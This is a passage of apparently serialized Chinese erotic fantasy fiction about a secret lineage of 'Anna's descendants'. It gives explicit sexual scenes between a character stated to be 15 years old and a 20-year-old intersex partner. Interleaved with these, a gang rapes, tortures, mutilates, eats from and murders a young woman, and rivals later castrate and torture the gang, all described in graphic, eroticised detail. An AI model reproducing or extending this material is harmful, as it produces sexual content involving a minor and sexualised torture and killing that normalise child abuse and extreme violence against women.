「这么说,我哥哥在我来之前,向你求婚了?」张倩把下巴放在露茜丰满的胸部上,睁大眼睛看着面带苦笑的露茜,「太过分了!天使之泪……肯定是爸爸给他的,他才没有这个权利动用那种犯规级别的东西!」张倩愤愤的说。
露茜摸着张倩柔顺的黑发,另一只手用手指抚摸着张倩的鼻子,「也许,你父亲是想给普通人找一个盟友吧。因为如果这样继续下去,我们安娜的后裔迟早会掌握这个世界,他也许希望我们能够善待那些普通人类。」「我本来也没想要虐待他们啊。」张倩撅着嘴说,「普通人类是世界的基石嘛,这些我在母神教会的祭祀手册上都看过。如果想让世界分享母神的荣光,那么就必须拉拢善待普通人类。仇恨和憎恨会让母神蒙羞的。」看到张倩认真的小脸,露茜微笑起来,她的回答让露茜非常满意。露茜最厌恶的就是另一个世界中,安娜的后裔蔑视生命,放牧人类的行为。张倩对普通人类的看法,虽然仍拖离不了高高在上的态度,但对普通人类还是存在一丝温情。
「100分。」露茜在心里给张倩的回答打了个分数。
政治不是请客吃饭。张倩作为母神教会将来的领导者,她决不能存在任何天真的想法,因为安娜后裔的安全和幸福,全部系在张倩一个人的身上。无论她过于偏向安娜后裔,还是过于偏向普通人类,都不是最好的结果。把安娜后裔当做人间神,放牧众生的后果就是另一个世界的状况;而过于偏向普通人类,只会把所有的安娜后裔推向险地——看看安娜和韦章的伤心离去就是这个后果。所以张倩必须要有一个不偏不齐的态度,有一个明确的政治纲领,才能带领安娜后裔在人类社会中生存下去。
她选择的政治纲领是带领安娜后裔在阴影中善意的统治人类。在露茜看来,这是最容易实现也是最合适的方式。就像现在一样,安娜的后裔的势力团体已经渗透到昆仑和圆桌骑士的深处,在世界上仅剩下共济会还没有沦陷,但在东方和Eden的经济攻势之下,已经支持不了多久了。和另一个世界线一样,共济会的青年一代正计划着清洗这个世界,意图让共济会领导这个世界。但以张靖为首的昆仑,和以露茜为首的圆桌骑士已经在暗地里制定好反制的详细计划,如果这个世界真的开战,那么毫无疑问,胜利者将会是安娜后裔。
「所以啊,哥哥他只需要做好自己的事情就行了,他将来会统治全部普通人类,他是我的哥哥,我还会虐待他不成!」张倩撇撇嘴,「他跟我抢你,绝对绝对是为了他自己,哎呀哎呀,路西哥哥你为什么要长的这么漂亮啊!」张倩苦恼的俯下脸,用小舌头扒开露茜的胸罩,用牙齿报复似的咬了一下露茜的乳尖。露茜感觉头脑一阵恍惚,身体内像是穿过一阵电流,感觉两腿间出现了湿润。
张倩没有听到露茜的回答,诧异的抬头看去,却发现了露茜的脸颊上一片潮红,似乎在忍耐着什么。
「露·茜·姐·姐……」张倩坏笑着,拉长声音喊着露茜,看到她还有一些恍惚,又伸出小舌头舔了一下她的乳尖。
露茜的脸色更红了,她小嘴微微张开,一声,「嗯……」的低吟从小嘴里发出,但紧接着她晃了晃头,似乎要把刚才的感觉驱逐出脑中,看着张倩的坏笑,咬牙切齿的说着:「小倩倩,我今天和你哥哥说,让他准备明年抱外甥,你说今天我该怎么处置你呢?」
张倩两眼像是要滴出水一样妩媚的看着露茜,微笑着,把露茜的胸罩解开。
************「……啊……轻点……求求你们……放了我吧……」安娜红着眼圈,一边小声啜泣,一边对身下的男人说着。
她的身下是一个健壮的白种男人,他有一身壮硕的肌肉,左臂上纹着一个铁锚,右臂的纹身是缠满了整个右臂的铁链。这个男人的头发打理得整整齐齐,脸上没有一点胡茬。他脱下来的西装叠整齐放在旁边的凳子上,西装下面还垫了一块干净的布。这个男人看起来像是一个绅士,但此时他的眼睛里却毫不掩饰的透出凶狠的眼神。
他的动作粗鲁而凶残,两手用力捏着安娜的乳房,在她白皙的皮肤上留下了五道乌青的手印;他似乎很不满安娜的哭求,用力扇打着安娜的脸,让鲜血顺着安娜的鼻孔和嘴角流了出来;他恶狠狠的捣入安娜的阴道,把硕大的鸡巴狠狠的顶到子宫口;他看着安娜的小乳房在空中晃悠着娇艳欲滴,抓着安娜的头发把她拽了下来,用嘴用力咬上安娜的乳尖,疼痛让安娜发出一阵悲鸣。
「妈的。」这个男人一边喘着气,一边发泄心中的暴虐,「船上真他妈的不是人干的活,一连几个月都低声下气的跟那些贵族老爷们说话,看他们的脸色。
操,要是在这里落到我手里,我他妈的弄死他们,就跟弄这个小婊子一样!」他似乎把安娜当成那些船上的贵族老爷,把心中的怒气全部发泄到了安娜身上。他畅快的在安娜体内射了精,把安娜狠狠地推到在水泥地上,用脚踢着安娜的小腹,用皮带抽着安娜的身体,最后抓着安娜的脖子把她提到半空中,看着安娜憋红了脸两脚无助的在空中乱踢,恶狠狠的把痰吐到她的脸上,又把她扔到地上,看着她趴在地上不停的咳嗽。
他蹲了下来,抓着安娜的头发,把她的脸抬起来,「臭婊子,看你也是有教养的人吧,怎么家里破产了?你也出来卖了?听着,老子最恨的就是你们这些渣滓,寄生虫!就是你们毁了这个城市!然后你们拍拍屁股走了,把我们留在这里等死!」他愤怒的抽打安娜耳光,「叫你们跑!叫你们看不起我们!叫你们把我们当混混!叫你们把我们当渣滓!」
安娜紧闭着眼睛,脸已经被抽得红红肿肿,她的眼泪、鼻涕和口水被打的满脸都是。杰曼有些看不下去了,走到男人跟前小声说,「伊比大哥,再打下去这妞就要死了……」
伊比呼了口气,平息了一下心情,「对不起,我失态了。」他把安娜扔到地上,「她是那些寄生虫的一员,你知道,我最恨的就是这些人。迟早有一天,我们会打破这个旧世界,杀掉那些骑在我们头上的资本家和寄生虫,强奸他们的妻子,强奸他们的女儿!」
他指着地上近乎昏迷的安娜,「这些寄生虫瞧不起我们,总有一天我们会让她们在我们的胯下哭泣求饶!」
伊比狂热的对杰曼和他的手下说:「原来我只是一个小混混,但是自从我在北极光上当了水手,我忽然之间懂了很多事情。我看到了那些大人物私下里的丑陋和她们的淫乱,脱下他们的衣冠楚楚,他们和我们没什么区别!我已经加入了复仇之火,我们的目标就是推翻这些资本家的统治,建立我们的专政统治!」杰曼鼓掌,「不愧是我们的大哥,伊比大哥,我们就跟着你干了!加入那个复……」
「复仇之火!」
「对,加入那个复仇之火!共那些资本家们的产,操他们的妻子女儿!把他们的一切夺过来!让他们求生不能求死不得!」杰曼贪婪的看着地上的安娜。
「就是这样的资本家啊!看看她的皮肤多么白皙,一定从来没见过阳光吧!
看看她的逼多么紧凑,一定平时很少被男人操吧!这样的女人操起来才够味……不,这样的女人才应该被我们专政!」他舔了舔嘴唇,回头对他的手下笑着说,「兄弟们,让这些资本家的女儿尝尝我们的鸡巴怎么样!」「好!」
「让她尝过我们的鸡巴,保证不会再去想那些小白脸!」「以后多找几个这样的资本家后代,把她们变成最低贱的妓女,那样操起来才够味!」
「看看资本家是怎么叫床的!」
「哈哈!」
「哈哈哈,工人的鸡巴来啦!」
杰曼一把抓住安娜的头发,把她拽了过来,用手抠着她的下巴,用力向下一扳。随着让人牙酸的咔吧一声,安娜的下巴已经脱了臼。她的眼泪已经流干了,喉咙里呜呜的像是在求饶,被杰曼把鸡巴捅进了喉咙深处。安娜被顶的像上翻着白眼,头左右晃着躲避着杰曼。
杰曼被安娜的动作搞得有些生气,从衣兜里掏出小刀,在安娜的乳房上划出一道道血红的口子。他看到安娜有一些发抖,狞笑着把刀从上面插进了安娜的乳房。献血从小刀的旁边涌出来,从乳尖滴答滴答的落到她的大腿上。
另一个男人拉过安娜的腰,用力分开她的大腿,露出安娜的下身。那个男人陶醉的摸着安娜白皙没有一根体毛的下体,捏着她的阴唇,露出已经被操得一塌糊涂的阴道,看见白浆从里面汩汩流出,他大笑着称赞伊比的勇猛,把自己的鸡巴顶了进去。他抽插着安娜的阴道,看着白浆顺着自己的鸡巴泛着白沫把安娜的下体染得一片肮脏,哈哈大笑着。
另外一个男人走了过来,等到操着安娜的男人射了精,在安娜的下体掏了一把,笑着举起手给在场的男人们看着他满手的精液。他大笑着掰开安娜的臀瓣,把这些精液抹到安娜的屁眼周围。他用一根手指捅了捅安娜的屁眼,笑着跟别的男人吹嘘安娜屁眼的紧凑,然后挺着鸡巴努力向里面挤着。安娜的屁眼似乎已经被撕裂,血液染红了那一片白浆,把精液染成粉红色。终于男人全部的阴茎已经深入了安娜的肛门里,他看到杰曼已经在安娜的口中射了精,便躺倒地上,让安娜背靠在他的胸膛,仰面躺在男人身上。男人大大的分开安娜的腿,露出安娜的阴户,和在阴户下男人那个被肛门吞入的鸡巴。
伊比看到安娜被摆出的淫荡姿势,鸡巴又挺立了起来。走上去又把鸡巴插入安娜的阴户中,和安娜身下的男人一起操着安娜。安娜的下巴脱了臼,嘴大大的张开无法合拢,口水和口中的精液沿着嘴角拉着线,滴到安娜的乳房上。她的乳房被刀插出深深的口子,被口水和精液沾到上面,疼痛让安娜的小脸五官几乎挤到了一起。
「这婊子……弄不好今天……是第一次出来卖……」伊比一边用小腹啪啪冲击着安娜的下身,一边说着话。
「别的我不知道,这婊子的屁眼我绝对是第一个进去的男人!你看,还流血了呐!」身下的男人性奋的撞击着安娜。
杰曼蹲在旁边,一边陪伊比说这话,一边用刀在安娜脸上划着,安娜的脸已经被划得到处都是口子,从她的喉咙里传出一声声凄厉的惨叫,杰曼皱着眉头,从地上团起一团破布,塞进她的嘴里。看到安娜的舌头把这团破布又顶出去,伊比的眼睛闪过一丝凶狠的恶意,抢过杰曼手中的小刀,拉着安娜的舌头。
「寄生虫大小姐!敢反抗我们给你们的恩赐!」用力一剜——杰曼惊恐的看着安娜的口中已经变成了一个血淋淋的洞,血液灌满了她的口,不断的向外流淌着。她的嘴唇被血染的殷红,前胸已经聚起了一个血洼。「伊……伊比大哥,这女人要是死了……我怕我们……」
伊比用两根手指捏着安娜被割下来的舌头,感受着小舌头的柔软,陶醉的用自己的舌头舔着手里的小舌尖。听到杰曼哆哆嗦嗦的说话,斜眼看了他一眼,把这小舌头轻蔑的甩在满是尘土的地上:「没出息的家伙!」,他点着杰曼的头,「听着杰曼。」伊比说着,「我这次回到休斯顿,是接受了组织给我的命令。我将会在这里建立支部,建立我们推翻资本家的根据地。」他感受着安娜因为剧烈的疼痛而抽搐缩紧的阴道,享受着阴道抽搐着蠕动给他带来的快感,「你们以后都是要成为组织的干部,干掉那些资本家后,我们都会成为大人物!想想看,以后我们掌握一个城市,一个州,整个美国!想操什么样的女人就可以操什么样的女人,看谁不顺眼就说他是资本家,直接杀了他!」「而现在——给你们个机会,用这个资本家的女儿来当做你们进入组织的考试!一起杀了她,你们就会加入我们的组织,以后共资本家的产,操资本家的女人!如果不忍心,那你们就走吧,以后永远做个低贱的没出息的工人,混混!」杰曼颤抖着手,接过伊比递给他的刀……哆哆嗦嗦的把刀比向安娜,看着安娜那张已经没有丝毫美感,满是血污的脸。他一咬牙,就向安娜喉管划去!
「不要这么心急。」杰曼的手被伊比稳稳抓住,「不要这么心急。」他慢条斯理的说着,动作像是一个绅士。「夜还很长,你看这么多兄弟还没有享受过这个资本家的女儿,我们应该慢慢的享受,你说是吧。」他从杰曼的手中接过刀,射了精,把杰曼推到安娜的身上,让杰曼感受安娜狭窄的阴道。他轻轻的用刀切割着安娜的耳朵,学着绅士们切割牛排的动作,把安娜的耳垂切了下来,看着安娜疼的晕了过去,又让小弟们用冷水把安娜泼醒。
「你看我说慢慢来。」他对杰曼说,「感觉很舒服吧。」杰曼感受着安娜的阴道,点了点头。
「看现在这张丑陋的脸。」他指着安娜已经被划的血肉模糊的脸,「这就是我们以后要面对的资本家。」他疯狂的大笑起来。
「世界,该变天了!」
************「露茜姐姐,没想到你居然这么敏感……而且这么可爱。」张倩顽皮的逗弄着身下的露茜,看着她无力的呻吟着,身体瘫软在床上动弹不得。「你是我的丈夫,但现在……我为什么感觉我是在调戏我的妻子?」她看到露茜鼓着脸像是要说话,又低头含住了露茜的乳头,露茜,「哦……」的一声,刚聚集起来的力气又散了下去,瘫软在床上眼色迷离的看着张倩。
此时的张倩全身的衣服已经脱掉,赤裸裸的趴在露茜身上。露茜长长的金发铺满了床上,张倩感觉自己被露茜的金发拥抱着,身体里有一种暖洋洋的感觉。
露茜的上身的衣服已经被张倩脱掉,露出浑圆硕大的乳房和平坦的小腹。露茜的乳房足有D罩杯大小,被张倩托在手里把玩着,她的动作引起了露茜身体一阵阵高潮余韵的颤抖。「倩倩……你不能……」露茜嘴里喘息着对张倩小声说话,却看见张倩用手开始在她的小腹上画起圈来,没说出的话变成了呻吟从嘴中吟出。
张倩把自己的乳房压在露茜的乳房上,用手把着,让两人的乳尖相互拨弄。
她清楚的看见自己的乳尖变得挺拔,两个人的乳晕上突起了一个个小疙瘩,她看着两个柔软的小乳尖互相蜻蜓点水般的接着吻,两人的乳房变换着各种形状,像是被风吹起的波浪,一波一波的回荡着。
她用嘴唇轻点着露茜的嘴唇,回味着刚才两个人的舌头相互纠缠、追逐的感觉。她用自己的小鼻尖顶着露茜精致的小鼻尖,感受着相互的体温。「真是太可爱了。」她不禁赞叹身下的露茜,「我的丈夫,你真是太可爱了。」露茜已经20岁了,可张倩却只有15岁,本该是风情万种的露茜游刃有余的逗弄青涩的张倩,却没想到被这个丫头把自己吃得死死的,露茜心里有一种苦涩的感觉。从小她把自己当做男孩子,一直以来接受的也是男孩子的教育。她聪明,智慧,有能力,有野心。在经济和政治上联合张靖一起把曾经无比嚣张的共济会压得无力喘息。
但没想到会在床上被一个15岁的青涩的小丫头压在身下。
「我的露茜姐姐,让我看看你该怎样来做张倩的丈夫吧!」小张倩吻着露茜的小腹,感受着露茜的阵阵颤抖,轻轻拉下露茜的裙子。
露茜的百褶裙子下面没有穿着内裤。她穿了一个白色蕾丝吊带,脚上是红色的高跟鞋。裙子下面露出露茜没有一根毛的下体。
张倩最先看到的是一根超过20厘米的阳具,随着裙子被拉下,阳具高高昂起。阳具下面没有一般男人的阴袋,笔直的一个阳具朝天而立。张倩伸着食指拨弄着露茜的阳具,发现它表面没有任何丑陋的青筋和血管,顶端的龟头充血后也不是血红色,有些微微发白。龟头沟里没有一点污秽,只有最前端的马眼里挤出几滴透明的液体。张倩伸出小舌头,用舌尖点了点那液体,发现有一种青草般的清香。
「这个就是我的小路西吧。」张倩妩媚的看着露茜,用舌头画着圈舔着露茜的阴茎。「我的小路西真是太可爱了。」
她的小舌头从龟头顺着小路西的头向下一路舔了下去,在小路西的最低端,发现了小路西的妹妹。她用手让小路西高高昂起头,仔细观察他的妹妹小露茜。
小露茜像是一个小嫩芽一样,嫩皮嫩肉的,一看就是个没有经历过什么风雨的小姑娘。她在小路西的保护下安然的成长,但此刻被暴露在张倩的视线下,被吓的瑟瑟发抖。
张倩好奇的用食指摸摸小露茜的头,看这个乖巧的小姑娘害怕的流出眼泪。
「真可爱。」张倩两眼放光,又用小舌尖舔着小露茜的眼泪,闭着眼感受着哥哥和妹妹的不同。
二者的味道有些相似,毕竟是源于同一个源头,但细细区别又有着细微的不同。如果说哥哥的口水有一种青草的清香,那么妹妹的眼泪就有着一种花朵的芬芳。「露茜,你真是母神最伟大的造物!」
张倩称赞着,用双手安慰着小路西和小露茜兄妹。露茜闭着眼似乎被张倩刺激的无法忍受,大声呻吟着。她此时已经听不到张倩说的话,即使能听到,大脑也无法对张倩的话做出任何回应。快感正如潮水一样,从身下的阴茎上,从身下的阴蒂上穿透身体,涌入大脑。她的阴茎一抖一抖的,张倩注意到了她的反应,赶忙离开露茜的身体:「不行哦,不行哦。」她笑着对露茜说,「我的丈夫怎么能变成早泄的男人呢?」
失去了张倩的刺激,露茜喘息着平静了下来。但她感到身体里一股火焰被压在身体深处,一旦被勾引上来冲破了地面,将会汹涌的烧尽一切。她歪着头看着居高临下的张倩,「看到真实的我了吗?我就是这样一个妖怪。」「不,露茜姐姐。」张倩崇拜的看着她,「你的身体是今后人类的方向,男人和女人最优秀的优点你都具备!你是男人,你也是女人,你是安娜的后裔。我想为你生下孩子,把你的血脉流传下去,直到时间的尽头。」她激吻着露茜,让露茜的脸上又泛起了潮红。「我希望能把我的名字放在你的姓氏后面,永远通过我们的血脉传下去。我们这一支安娜后裔,会是最强大的一支。她们将统治今后所有的安娜子嗣,统治整个人类社会!」
张倩动情的跨到露茜的身上,一边吻着露茜,一边对露茜轻轻说着,「把一切交给我吧,我是你的妻子,我是你的丈夫。」她调皮的对露茜眨着眼,「以后我是你的丈夫。」
她把自己的阴道对准露茜的阴茎,忍着痛把她的龟头纳入自己的阴道口,喘息着对露茜说,「让我们合二为一吧!」她的双手和露茜的双手五指紧紧的对握在一起,深深吸了口气,向下坐了下去。
张倩和露茜同时发出一声闷哼,露茜的阴茎已经深深的顶进了张倩身体的最深处。一缕鲜血顺着张倩的下体流到了露茜的嫩芽上,流进了露茜那神秘的峡谷中,又沿着露茜的峡谷,滴落到了床上。
张倩看着床上的落红,笑着对露茜说,「不公平哦,为什么就只有我一个人的?」
露茜看着她,歪着头好像脑子里出现了一个问号。
「不要紧。」张倩看着露茜露出神秘的笑容,「夜还很长呢,我们一点一点慢慢来。」她开始摇动自己的腰,在露茜身上耸动起来。
************安娜被倒吊在了空中,绳子绑在她的脚踝上,拉在离地三米高的两个铁钩子上,绳子的另一端被绑在一个铁管上,把安娜吊起半米的高度。两个钩子相隔4米远,把安娜的两脚大大的分开,她的双手无力的向下低垂着,双手碰到地面。
她的胸膛还在一起一伏的呼吸,人还是清醒的没有死去。
她的身下已经肮脏的一塌糊涂。男人们,每个人都在她的身体内射过不止3次。她的阴道和肛门被大大的撑开,随着身体的抽动,浓稠的精液被一股一股的挤出体外。
杰曼和小弟们在安娜的身前站成一个扇形,看着伊比手握尖刀,站在安娜身边。
「今天,我们再此对着上帝发誓,我们立誓推翻万恶的资本家的统治,发动光荣的复仇革命。让美利坚照耀在复仇之火的光辉下。杀了这个代表资本家的婊子,我们就是兄弟。」伊比这样说着,走到安娜的身前,示意旁边的小弟把吊着安娜的绳子又拽了拽,把安娜的头吊到和他胸一般高的地方。用手握了握安娜的小乳房,对后面的男人们笑着说,「资本家的小姐吃的也不多啊,看这里都没几两肉。」
后面的男人哄堂大笑,「没男人给她揉,当然没多少肉了。」杰曼笑着说,「她那个烂婊子姐姐那里倒是挺大,说明只要有男人帮忙,那里很快就会变大嘛!」
伊比笑着说:「可惜没机会了。」刀光闪过,安娜的喉咙里发出一声惨叫,她的一个乳房已经落在了伊比的手中。
伊比捏着手里的软肉,举起来给后面的男人们看着,大笑着把流着血的那一面贴在安娜的脸上。安娜还没有失去意识,身体像是抽筋一样抖动,伊比慢慢的用手里的乳房抹着安娜的脸:「亲爱的大小姐,你们是不是天天就这样做面膜?
用我们吃不起的西瓜皮和黄瓜贴自己的脸?感受一下这个感觉吧,是不是和当时做面膜的感觉一样?啊?哈哈,哈哈哈!」
「好了!」伊比发泄了心中的怒火,把手里的软肉狠狠的摔在地上,又用脚狠狠的踩着,碾着。「下一个谁来?」
杰曼走上前,接过伊比手里的刀,「我来!伊比大哥,我最敬佩的就是你!
我们中间现在最有出息的就是你!我愿意跟随大哥,闹他个天翻地覆!」他这样说着,割下了安娜另一个乳房,为了表示他对伊比的服从,割下后狠狠的咬了一口,他贪婪的撕咬着安娜的肉,满嘴是血。
伊比冲他举起大拇哥,拥抱着杰曼,他拍着杰曼的背,大声地欢迎杰曼的加入。在杰曼身后,又一个鼻孔穿着环的黑人走上前,大笑着说:「我早就想干掉那些大人物了!他妈的凭什么我天天在钢厂累死累活才挣那么几个钱,他们做游艇住海底逍遥自在?我他妈的操死他们的女儿!」他结果杰曼的刀,狠狠的割下安娜的阴唇和阴蒂,放在鼻子下面嗅了半天,扔到远处哈哈大笑,「他妈的大小姐的逼也不过如此!」
男人们一个个走上前,割掉了安娜的耳朵,割掉了安娜的嘴唇,割掉了安娜的手指。他们剃掉安娜胸口上的肉,露出白森森的肋骨,他们剃掉了安娜小腿上的肉,在她小腿骨上刮出刺耳的声音。他们剜下了安娜的眼睛,让她的眼窝变成两个血淋淋的大洞。
他们确认安娜已经死去后,割掉了她的头,把她切成了碎块。他们把安娜的碎肉残肢堆在地上,把头放在这堆碎肉的上面。男人们笑嘻嘻的走到了名为「安娜」的尸骨堆前拍照合影,之后用一个黑色的厚塑料袋装了起来。明天去钢厂上工的工人会把这个袋子扔进铁水里,把安娜铸成潜艇的外壳,让她永远在大海里游荡。
男人们仔细的清扫了这个屋子里的血迹。如果被警察发现了,他们会有一些「小麻烦」的。
伊比已经清洗过了身体。他慢慢的穿上衬衫,扣子系得一丝不苟。他打上领结,对着镜子调整着领结的方向。他穿上西裤,套上西装,小心用镊子把一些灰尘一点点夹下去。杰曼讨好的想上前帮他拍打,让他用眼神阻止,伊比说,衣服上的灰尘越拍打会让衣服显得越脏。在他们的豪华潜艇上,脏衣服意味着丢掉潜艇上的工作。他让杰曼给他细心的擦亮皮鞋,然后穿到脚上。他套上白手套,仔细对着镜子梳了梳头发,检查自己的下巴没有青胡茬。杰曼羡慕的看着伊比的装束,在他眼里,现在的伊比也是他曾经羡慕无比的大人物了。
「现在已经午夜了。」伊比对杰曼说,「我想应该回到北极光上面去了。杰曼,接下来就看你的了,我下次回来,希望能看到你们发展到100人以上。到那时候,我会向复仇之火汇报,让我们支部正式成立。」「放心吧,伊比大哥。」杰曼拍着胸脯保证说,「我会在我们帮派发展我们的组织,不会让你失望的。」
伊比拍了拍杰曼的肩膀,看见自己的白手套上沾了一个污点,微不可查的皱了皱眉,不漏痕迹的把手从杰曼的身上收了回来,「那我要走了。」「我们有车,送大哥一程吧。」
伊比看着杰曼真挚的目光,点了点头。
「不用了,因为你们谁都走不了了……」
引擎轰鸣声在废弃工厂外响起,强光灯打开,他们大惊向外看去,发现工厂大门外已经被一群穿着黑色皮衣骑着摩托的男人们团团围住!
「伊比,北极光号上的伊比,我是暴龙,很高兴认识你!」一个高大的白人男子站在人群中间,拿着扩音器大声的喊着,「我暴龙,来杀你了!」************「噢……」
「啊……」
两声高亢的呻吟后,两具美丽的胴体紧紧的搂在了一起。两人的脸上带着高潮后的余韵喘息着,金发的女子闭着眼,眼皮还在不停的颤抖,她身上的黑发女孩嘴角还留着微笑,紧紧的搂着身下的金发女人,把脸贴在金发女子脸上。
黑发女孩的胳膊交叉环过金发女子的身体,压在金发女子的身下,把她的身体紧紧贴在自己的身上;金发女子的手轻轻搭在黑发女孩的腰间,无力的承受她的动作。
「露茜姐姐,你真是太棒了。」黑发女孩在金发女子的耳边小声说着,「你的鸡巴居然这么有力,刚才都钻进我的子宫里面了,我猜我一定已经怀上你的孩子了!」
「倩倩……你这丫头……」
「不行哦,你应该叫我老公的。」张倩轻轻用牙咬着露茜的耳垂,她的动作让露茜身体又产生了一阵颤抖。「叫我老公。」她咬着耳朵威胁道。
「不……不对……我才是……」
「叫我老公……」牙齿轻轻磨着耳垂。
「倩倩……你不能……」
「叫我老公……」一口气轻轻吹进露茜的耳中,这让露茜的身下又渗出了花蜜。
「不行……倩倩……」
「叫·我·老·公……」张倩的舌头伸进露茜的耳朵里,顽皮的扫动。
「倩倩老公……倩倩老公……」露茜带着哭腔喊了出来。
张倩仿佛像得胜的将军一般,用舌头巡视着自己的领土,玩弄着自己的所有物。「你是我的什么人呢?」她得意的问。
「我是你的妻子……你的妻子……」露茜像是战败的战俘,无力的逢迎着张倩的动作。
「记住喽,你露茜菲儿·克里斯蒂安,从此是我张倩的妻子。」得胜的张倩兴奋的又吻上露茜的嘴唇,享受着胜利者的资格。露茜的身体敏感的一塌糊涂,只能被张倩欺负得毫无反抗能力。
她们的上身紧紧的抱在一起,下身仍连接着,张倩又一次耸动起腰,扭着屁股,对露茜开始了又一次的「摧残」。
************伊比感觉自己仿佛身处在一场噩梦中。在梦的前半段,他意气风发。他的心中充满了得志的喜悦,他感觉自己仿佛成为了一个大人物,可以轻易的决定一个人的命运、生死。他从心底并不憎恨那个女孩,他只是把那个女孩当做自己发泄的一个途径,和彰显自己伟大的一个祭品。
他出生在2014年,那是一个充满机遇的时代,那是一个悲哀的年代。从那时候起,世界上几乎所有的发达国家里,阶级已经彻底固化,一个人的阶级成为了他能否接受教育的重要条件,知识成为了衡量一个人能否获得地位的主要因素,大批量的机械让以往熟练技术工种失业了,留给他们的工作机会,只有流水线上那种枯燥的,没有一点技术的枯燥乏味的工作。
伊比的父亲是一个电焊工人。他在伊比出生之前有一个幸福的家庭和高薪的工作。无数的工厂需要像他这样的一线熟练高级工人。他享受着一般白领几十倍的工资,肆意挥霍着生活。他酗酒吸毒,但他有一手技术绝活,他曾经得意的想着,即使那些机器取代了流水线上那些普通工人,他这种技术工种也绝对不会失业。
但技术的发展远远超过他的想象。在伊比7岁的时候,也就是2020年,他也失业了。
机器的发展远远超过人们的想象。正如数控机床取代了熟练工人,他的技术绝活也被人类的科技无情的扔进了垃圾桶。享受高薪的时候,他没有留下足够的家底,让全家迁入海底城市,只能眼看着周围的大陆世界逐渐衰落。
在陆地上,电话网络和互联网无人维护已经瘫痪,有知识的教师们被大量迁入人类的未来——海底城市。他眼睁睁的看着伊比因为没有受教育的机会而变成一个工人、混混,绝望的他拉着妻子自杀了。
从那时候起,伊比就一个人在大陆上游荡。他当过钢厂工人,干过流水线,偷过东西,抢过钱,也被抓过。他就和这衰落的大陆一样,荒废堕落了。
但是他心中充满了不甘。他在小的时候也曾接受过小学教育,读过书认过字上过网混过论坛发过帖子的他,知道世界外面是什么样子,知道上等人过的怎样的生活,强烈的落差让他充满野心,他梦想着上等人的生活。
在休斯顿,他组建了一个小帮派,招揽了30个手下,靠抢劫偷窃收保护费为生。他没敢在休斯顿娶妻生子,在外地偷偷养了一个老婆。终于有一天,他抓住了一个机会。
一个毒贩黑社会团伙的小混混在跟妓女吹嘘的时候泄露了他们的机密,而这个妓女把这个机密当做玩笑和他说了。他感到机会到了。
他知道警察一直在通缉这个团伙,而且通缉赏金很高。他向警方出售了这个消息。
事情的发展比他预想的要好得多。警方突袭了那个地点,600余人的毒贩基地只有200余人逃出。他获得了奖赏,但他用这个奖赏换取了一个机会,一个通往上流社会的机会。
他知道自己没有文化,靠这个奖赏无法真正地融入海底世界。他利用这个机会,打通关节成为了一艘豪华潜艇的水手,一个不需要任何技术含量的水手。
他抓住一切机会去学习,去接近那些大人物。像他这样野心勃勃又聪明的人如果真正抓住机遇,获得成功几乎是必然的结局。他甚至接触了一个以推翻现有人类社会为宗旨的极端组织,他自信他会有光明的未来。
这一次他衣锦还乡,让他踌躇满志。他残忍的虐杀了一个素不相识的姑娘,但他并没有放在心上。「我的将来会是一个大人物,而哪个大人物没有双手沾满血腥?」他这样想着,肆意在那个女孩身上发泄他的暴虐和得意。
但现在,他感到自己仿佛陷入了一场梦魇当中。
空旷的厂房中又响起了一声凄厉的惨叫声。伊比惊恐的抬起满头汗水的脸看着四周。
伊比被捆着手,绳子吊在厂房的棚顶。他的手被高高吊起,脚下只有脚尖能勉强够的到地面。在他的对面,杰曼和他手下20个小伙伴和伊比一样被吊在那里。他们被将近200个男人围观者,但厂房里即使有200多人,还是显得空旷无比。
那些男人们的身边都放着各式枪支,这让只见过手枪的伊比心中惊慌万分。
在厂房的一角,几个男人光着身子在围攻两个年轻的姑娘。伊比远远的看不太清楚,只看见一个姑娘有一头火红的红发,正在给两个男人口交,另一个姑娘有一头金色的头发,身上的三个洞已经被男人们占满,像一头发情的母兽。但更多的男人在玩弄着杰曼和他的手下。
几个被吊起来的男人裤子被扒了下来,一个高大的黑人正拿着杰曼刚才杀掉那个小姑娘的尖刀,给那几个男人剃着阴毛。他把一个男人下身剃得干干净净,引起了周围人们的哄笑,他用手托着那个男人的阴袋,用刀小心的慢慢划开,用刀尖把阴袋里的两粒睾丸割断,剃了出去。在男人凄厉的惨叫声中,两粒血糊糊的肉球滚到满是尘土的地上,那个男人抽搐着,身下不停的淌着血。
杰曼已经被吓的屎尿齐飞,他泪流满面的求饶,看到那个人拎着刀向他走来像个被强奸的小姑娘一样大声尖叫起来。高大的黑人走到他的面前,用到划着他的脸,就像他划安娜一样,「我叫克米特。」
「克米特大哥!你饶了我吧!我们真的从来没见过你们啊!我们和你们井水不犯河水,你们一定是找错人了!」
「没有错,哈哈!」可米特指了指伊比,「他叫伊比是不是?」杰曼张了张嘴,最终没有说话。可米特把刀狠狠的插进杰曼的腮上,「是!
他是伊比大哥!」
「那就没错了。」可米特拔出刀,用刀尖在杰曼眼睛前比划着,让杰曼发出一阵尖叫。
「伊比!知道我们是谁吗?」那个自称是暴龙的男人大踏步走上前。伊比苦涩的低着头,他已经猜到了暴龙的身份。
「看来你已经知道了,那你做好准备了吗?」
「能……放过那些人吗?他们跟我没有任何关系,跟警察告密的人是我,他们只是普通人。」
暴龙大笑:「我们绝不放过一个仇人,但也绝不放过一个无辜的人!」他看着伊比变得铁青的脸,「你睁大眼睛看好他们都是怎么死的,一会他们的死法,将会全部落在你的身上!」
可米特也发出变态的笑声,「我最喜欢行刑了!」他的刀开始在杰曼的身上划了起来。
厂房内又响起了杰曼凄厉的惨叫声。
克米特扔下了杰曼的尖刀,「这刀太钝了。」他这样说着,从衣服口袋里拿出一个小盒子,里面是一个5厘米长的手术刀。
「知道吗?」克米特用两个粗大的手指夹起这个手术刀,「我曾经是一个外科医生。这把手术刀陪了我20年了。」他陶醉的用舌尖舔了一下手术刀,看到杰曼恐惧的眼神和屎尿齐流的下身,嗤笑一声,「当然是骗你的。还有……我不喜欢你这个眼神。」
他用拇指和食指捏住手术刀,用其余三根手指掩护着,在杰曼的脸上拂过,杰曼的两个眼皮已经落到了地上。
「看我这个娴熟的技术!」他举着手大声炫耀着。男人们嗷嗷的喊着什么,开始喝起酒来。
杰曼并没有感觉到自己的眼皮被割掉,刀太快了,而且他也过于紧张。但他感觉着眼睛有一些发涩,想要眨眼,但是做不到时,才知道了真相,他又尖叫起来。
